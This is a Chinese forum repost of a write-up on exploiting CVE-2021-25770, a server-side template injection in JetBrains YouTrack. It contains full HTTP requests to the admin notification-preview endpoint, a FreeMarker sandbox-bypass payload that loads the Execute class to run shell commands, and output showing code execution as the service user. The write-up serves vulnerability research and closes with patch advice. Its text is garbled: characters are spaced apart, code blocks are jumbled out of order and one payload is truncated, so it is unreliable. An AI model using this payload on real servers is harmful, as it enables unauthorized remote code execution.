搜索

[28795] 2021-03-10_利用CVE-2021-25770：YOUTRACK中的服务器端模板注入

文档创建者：s7ckTeam
浏览次数：261
最后更新：2025-01-19
2021-03-10_利用CVE-2021-25770：YOUTRACK中的服务器端模板注入 利 用 C V E - 2 0 2 1 - 2 5 7 7 0 ： Y O U T R A C K 中 的 服 务 器 端 模 板 注 入 O t s 安 全   2 0 2 1 - 0 3 - 1 0 几 天 前 ， 我 们 的 T w i t t e r   f e e d 中 出 现 了 此 漏 洞 ：   新 增 ： C V E - 2 0 2 1 - 2 5 7 7 0   在 2 0 2 0 . 5 . 3 1 2 3 之 前 的 J e t B r a i n s   Y o u T r a c k 中 ， 可 能 进 行 服 务 器 端 模 板 注 入 （ S S T I ） ， 这 可 能 导 致 代 码 执 行 。 严 重 性 ： 严 重 在 搜 索 未 成 功 的 P O C 之 后 ， 我 们 决 定 编 写 一 个 。 在 J e t b r a i n s 网 站 上 搜 索 信 息 不 会 给 我 们 任 何 信 息 ， 只 是 该 漏 洞 是 由 V a s i l y   V a s i l k o v   [ 1 ] 发 现 的 。 区 别 源 代 码 区 别 源 代 码 可 从 w w w . j e t b r a i n s . c o m 获 得 免 费 版 本 ， 因 此 我 们 下 载 了 易 受 攻 击 的 版 本 （ 2 0 2 0 . 5 . 2 5 7 9 ） 和 修 补 程 序 的 版 本 （ 2 0 2 0 . 5 . 3 1 2 3 ） ， 并 开 始 进 行 调 查 。 很 快 看 来 ， 该 软 件 正 在 将 F r e e m a r k e r   [ 2 ] 作 为 模 板 引 擎 运 行 。 易 受 攻 击 的 版 本 正 在 运 行 F r e e m a r k e r   2 . 3 . 2 3 ， 而 已 修 补 的 版 本 正 在 运 行 F r e e m a r k e r   2 . 3 . 3 0 。 提 取 所 有 应 用 程 序 库 后 ， 我 们 确 定 通 知 模 块 大 量 使 用 F r e e m a r k e r ， 因 此 我 们 决 定 首 先 关 注 这 一 模 块 。 当 在 易 受 攻 击 的 版 本 和 F r e e m a r k e r 通 知 模 块 的 修 补 版 本 之 间 进 行 区 分 时 ， 我 们 还 注 意 到 该 模 块 中 确 实 存 在 一 些 更 新 ： 在 在 D o c k e r 容 器 中 运 行 容 器 中 运 行 Y o u t r a c k 为 了 熟 悉 该 软 件 并 检 查 是 否 可 以 快 速 找 到 插 入 点 ， 我 们 使 用 d o c k e r 安 装 了 易 受 攻 击 的 版 本 ： 完 成 安 装 过 程 后 ， 我 们 在 管 理 面 板 中 确 定 了 “ 通 知 模 板 ” 功 能 ： 此 功 能 允 许 用 户 定 义 通 知 的 自 定 义 模 板 ： 根 据 根 据 Y o u T r a c k 的 文 档 ： 的 文 档 ： 通 知 模 板 为 您 提 供 了 用 于 自 定 义 电 子 邮 件 和 J a b b e r 通 知 的 工 具 ， 以 适 合 您 的 用 户 通 信 需 求 。 使 用 此 功 能 ， 可 以 配 置 直 接 在 网 页 中 呈 现 的 自 定 义 模 板 。 这 是 模 板 注 入 发 生 的 地 方 。 利 用 服 务 器 端 模 板 注 入 利 用 服 务 器 端 模 板 注 入 这 是 触 发 模 板 注 入 的 请 求 ： $   l s   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 / a p p s / y o u t r a c k / w e b / W E B - I N F / l i b   |   g r e p   f r e e - r w - r - - r - -   1   u s 3 r 7 7 7   u s 3 r 7 7 7     1 3 5 0 6 2 4   2 5   n o v .     1 7 : 5 3   f r e e m a r k e r - 2 . 3 . 2 3 . j a r $   l s   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 / a p p s / y o u t r a c k / w e b / W E B - I N F / l i b   |   g r e p   f r e e - r w - r - - r - -   1   u s 3 r 7 7 7   u s 3 r 7 7 7     1 7 0 2 9 7 5     2   d é c .     1 5 : 0 7   f r e e m a r k e r - 2 . 3 . 3 0 . j a r $   g r e p   ' F r e e m a r k e r '   - r i l   |   c u t   - d   ' / '   - f 1   |   s o r t   |   u n i q   - c             1   y o u t r a c k - a p p l i c a t i o n - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r           5 3   y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r             2   y o u t r a c k - s c r i p t s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r             1   y o u t r a c k - w e b a p p - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r $   d i f f   - b u r   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 3 1 2 3 . j a r - d i r B i n a r y   f i l e s   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / c o n t r o l l e r / F r e e m a r k e r C o n f i g u r a t i o n . c l a s s   a n d   y o u t r a c k - 2 0 2 0 . 5 B i n a r y   f i l e s   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l / E n t i t y E x t e n d e d B e a n s W r a p p e r $ C o m p a n i o n $ I T E R A B L E _ F A C T O R Y $ 1 . B i n a r y   f i l e s   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l / E n t i t y E x t e n d e d B e a n s W r a p p e r $ C o m p a n i o n . c l a s s   a n d   y o u t r a c k - B i n a r y   f i l e s   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l / E n t i t y E x t e n d e d B e a n s W r a p p e r . c l a s s   a n d   y o u t r a c k - 2 0 2 0 . 5 . O n l y   i n   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 3 1 2 3 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l :   S t r i c t M e m b e r A c c e s s P o l i c y $ f o r C l a s s $ 1 . c l a s s O n l y   i n   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 3 1 2 3 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l :   S t r i c t M e m b e r A c c e s s P o l i c y . c l a s s d o c k e r   r u n   - i t   - - n a m e   y o u t r a c k - i n s t a n c e 1   - v   d a t a : / o p t / y o u t r a c k / d a t a   - v   c o n f : / o p t / y o u t r a c k / c o n f   - v   l o g s : / o p t / y o u t r a c k / l o g s   - v   b a c k u p s : / o p t / y o u t r a c k / b a c k u p s   - p   8 8 8 8 : 8 0 8 0   j e t b r a i n s / y o u t r a c k : P O S T   / a p i / a d m i n / n o t i f i c a t i o n S u p p l e m e n t / p r e v i e w ? $ t o p = - 1 & f i e l d s = o u t p u t , i s s u e I d , e r r o r   H T T P / 1 . 1 H o s t :   y o u t r a c k v m : 8 8 8 8 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8
尝 试 使 用 传 统 的 f r e e m a r k e r . t e m p l a t e . u t i l i t y . E x e c u t e 方 法 [ 3 ] 直 接 执 行 命 令 失 败 ， 并 出 现 以 下 错 误 ： 通 过 挖 掘 应 用 程 序 日 志 ， 我 们 可 以 找 到 更 清 晰 的 消 息 ： 此 错 误 是 由 于 在     j e t b r a i n s   /   y o u t r a c k   /   n o t i f i c a t i o n s   /   c o n t r o l l e r   /   F r e e m a r k e r C o n f i g u r a t i o n . c l a s s 中 将 F r e e m a r k e r 模 板 类 解 析 器 [ 4 ] 设 置 为 A L L O W S _ N O T H I N G _ R E S O L V E R 所 致 。 使 用 沙 箱 绕 过 以 实 现 远 程 代 码 执 行 使 用 沙 箱 绕 过 以 实 现 远 程 代 码 执 行 对 于 我 们 来 说 幸 运 的 是 ， 在 低 于 2 . 3 . 3 0 的 F r e e m a r k e r 版 本 中 存 在 绕 过 执 行 代 码 的 方 法 。 这 个 旁 路 ， 提 出 阿 尔 瓦 罗 穆 ñ 在 黑 帽 美 国 2 0 2 0 盎 司 和 奥 列 克 M i r o s h   [ 5 ]   。 绕 过 依 赖 于 找 到 允 许 调 用 n e w I n s t a n c e （ ） 方 法 的 公 共 静 态 字 段 。 我 们 使 用 在 A l v a r o 和 O l e k s a n d r 的 白 皮 书 中 定 义 的 f r e e m a r k e r . t e m p l a t e . O b j e c t W r a p p e r 类 的 D E F A U L T _ W R A P P E R 字 段 来 获 取 远 程 代 码 执 行 ： 该 有 效 负 载 可 以 作 为 P O S T 请 求 发 送 到 通 知 模 块 ： 关 于 补 丁 关 于 补 丁 F r e e m a r k e r   2 . 3 . 3 0 中 不 可 能 使 用 以 前 的 有 效 负 载 ， 后 者 引 入 了 一 个 基 于 M e m b e r A c c e s s P o l i c y 的 新 沙 箱 。 默 认 策 略 改 善 了 黑 名 单 ， 并 禁 止 通 过 反 射 访 问 C l a s s L o a d e r 方 法 和 公 共 字 段 [ 6 ] 。 查 看 Y o u t r a c k 的 补 丁 版 本 ， 我 们 注 意 到 F r e e m a r k e r 现 在 已 配 置 了 S t r i c t M e m b e r A c c e s s P o l i c y ：     更 新 Y o u T r a c k 到 2 0 2 0 . 5 . 3 1 2 3 防 止 此 漏 洞 的 利 用 。 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 A u t h o r i z a t i o n :   B e a r e r   1 6 1 2 8 0 3 6 9 2 8 5 5 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9 . b c 6 5 b 1 3 d - c f 8 9 - 4 3 2 f - 8 a d 0 - 5 d a 6 2 3 2 3 d 2 a 0 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9   4 a 7 4 1 f 8 9 - 0 e c 7 - 4 f b 0 - b a f 4 - 9 4 0 8 C o n t e n t - L e n g t h :   1 0 8 C o o k i e :   Y T J S E S S I O N I D = n o d e 0 p 6 q 2 u e 0 8 2 9 g h x c 1 9 j j s j w g p w 9 7 . n o d e 0   {         " t e m p l a t e " :   {                 " f i l e N a m e " :   " a r t i c l e _ d i g e s t _ s u b j e c t . f t l " ,                 " c o n t e n t " :   " $ { 1 9 1 * 7 } "         } }   H T T P / 1 . 1   2 0 0   O K [ . . . ]   { " i s s u e I d " : n u l l , " o u t p u t " : " 1 , 3 3 7 " , " e r r o r " : n u l l , " $ t y p e " : " N o t i f i c a t i o n P r e v i e w " } P O S T   / a p i / a d m i n / n o t i f i c a t i o n S u p p l e m e n t / p r e v i e w ? $ t o p = - 1 & f i e l d s = o u t p u t , i s s u e I d , e r r o r   H T T P / 1 . 1   H o s t :   y o u t r a c k v m : 8 8 8 8   C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8   A u t h o r i z a t i o n :   B e a r e r   1 6 1 2 8 0 3 6 9 2 8 5 5 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9 . b c 6 5 b 1 3 d - c f 8 9 - 4 3 2 f - 8 a d 0 - 5 d a 6 2 3 2 3 d 2 a 0 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9   4 a 7 4 1 f 8 9 - 0 e c 7 - 4 f b 0 - b a f 4 - 9 4 0 8 C o n t e n t - L e n g t h :   1 7 1   C o o k i e :   Y T J S E S S I O N I D = n o d e 0 p 6 q 2 u e 0 8 2 9 g h x c 1 9 j j s j w g p w 9 7 . n o d e 0       {           " t e m p l a t e " :   {                   " f i l e N a m e " :   " a r t i c l e _ d i g e s t _ s u b j e c t . f t l " ,                   " c o n t e n t " : " < # a s s i g n   e x = " f r e e m a r k e r . t e m p l a t e . u t i l i t y . E x e c u t e " ? n e w ( ) >   $ { e x ( " i d " ) } "           }   }     H T T P / 1 . 1   2 0 0   O K   { " i s s u e I d " : n u l l , " o u t p u t " : " [ e r r o r ]   [ e r r o r ] " , " e r r o r " : n u l l , " $ t y p e " : " N o t i f i c a t i o n P r e v i e w " } F r e e M a r k e r   t e m p l a t e   e r r o r :   I n s t a n t i a t i n g   f r e e m a r k e r . t e m p l a t e . u t i l i t y . E x e c u t e   i s   n o t   a l l o w e d   i n   t h e   t e m p l a t e   f o r   s e c u r i t y   r e a s o n s . < # a s s i g n   c l a s s l o a d e r = a r t i c l e . c l a s s . p r o t e c t i o n D o m a i n . c l a s s L o a d e r > < # a s s i g n   o w c = c l a s s l o a d e r . l o a d C l a s s ( " f r e e m a r k e r . t e m p l a t e . O b j e c t W r a p p e r " ) > < # a s s i g n   d w f = o w c . g e t F i e l d ( " D E F A U L T _ W R A P P E R " ) . g e t ( n u l l ) > < # a s s i g n   e c = c l a s s l o a d e r . l o a d C l a s s ( " f r e e m a r k e r . t e m p l a t e . u t i l i t y . E x e c u t e " ) > $ { d w f . n e w I n s t a n c e ( e c , n u l l ) ( " i d " ) } P O S T   / a p i / a d m i n / n o t i f i c a t i o n S u p p l e m e n t / p r e v i e w ? $ t o p = - 1 & f i e l d s = o u t p u t , i s s u e I d , e r r o r   H T T P / 1 . 1 H o s t :   y o u t r a c k v m : 8 8 8 8 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 A u t h o r i z a t i o n :   B e a r e r   1 6 1 2 8 0 3 6 9 2 8 5 5 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9 . b c 6 5 b 1 3 d - c f 8 9 - 4 3 2 f - 8 a d 0 - 5 d a 6 2 3 2 3 d 2 a 0 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9   4 a 7 4 1 f 8 9 - 0 e c 7 - 4 f b 0 - b a f 4 - 9 4 0 8 C o n t e n t - L e n g t h :   3 9 3 C o o k i e :   Y T J S E S S I O N I D = n o d e 0 p 6 q 2 u e 0 8 2 9 g h x c 1 9 j j s j w g p w 9 7 . n o d e 0     {     " t e m p l a t e " :   {             " f i l e N a m e " :   " a r t i c l e _ d i g e s t _ s u b j e c t . f t l " ,             " c o n t e n t " : " < # a s s i g n   c l a s s l o a d e r = a r t i c l e . c l a s s . p r o t e c t i o n D o m a i n . c l a s s L o a d e r > < # a s s i g n   o w c = c l a s s l o a d e r . l o a d C l a s s ( " f r e e m a r k e r . t e m p l a t e . O b j e c t W r a p p e r " ) > < # a s s i g n   d w f = o w c . g e t F i e l d ( "     } }   H T T P / 1 . 1   2 0 0   O K [ . . . ]   { " i s s u e I d " : n u l l , " o u t p u t " : " u i d = 1 3 0 0 1 ( j e t b r a i n s )   g i d = 1 3 0 0 1 ( j e t b r a i n s )   g r o u p s = 1 3 0 0 1 ( j e t b r a i n s ) n " , " e r r o r " : n u l l , " $ t y p e " : " N o t i f i c a t i o n P r e v i e w " } $   d i f f   - b u r   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 3 1 2 3 . j a r - d i r [ . . . ] O n l y   i n   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 3 1 2 3 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l :   S t r i c t M e m b e r A c c e s s P o l i c y . c l a s s
参 考 参 考 [ 1 ]   h t t p s : / / b l o g . j e t b r a i n s . c o m / b l o g / 2 0 2 1 / 0 2 / 0 3 / j e t b r a i n s - s e c u r i t y - b u l l e t i n - q 4 - 2 0 2 0 / - C V E - 2 0 2 1 - 2 5 7 7 0 公 告 [ 2 ]   h t t p s : / / f r e e m a r k e r . a p a c h e . o r g / - F r e e m a r k e r 模 板 引 擎 [ 3 ]   h t t p s : / / p o r t s w i g g e r . n e t / r e s e a r c h / s e r v e r - s i d e - t e m p l a t e - i n j e c t i o n - 基 本 S S T I 开 发 [ 4 ] h t t p s : / / f r e e m a r k e r . a p a c h e . o r g / d o c s / a p i / f r e e m a r k e r / c o r e / T e m p l a t e C l a s s R e s o l v e r . h t m l - F r e e m a r k e r   T e m p l a t e C l a s s R e s o l v e r [ 5 ]   h t t p s : / / f r e e m a r k e r . a p a c h e . o r g / d o c s / a p i / f r e e m a r k e r / e x t / b e a n s / M e m b e r A c c e s s P o l i c y . h t m l - F r e e m a r k e r   2 . 3 . 3 0 中 的 M e m b e r A c c e s s P o l i c y 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理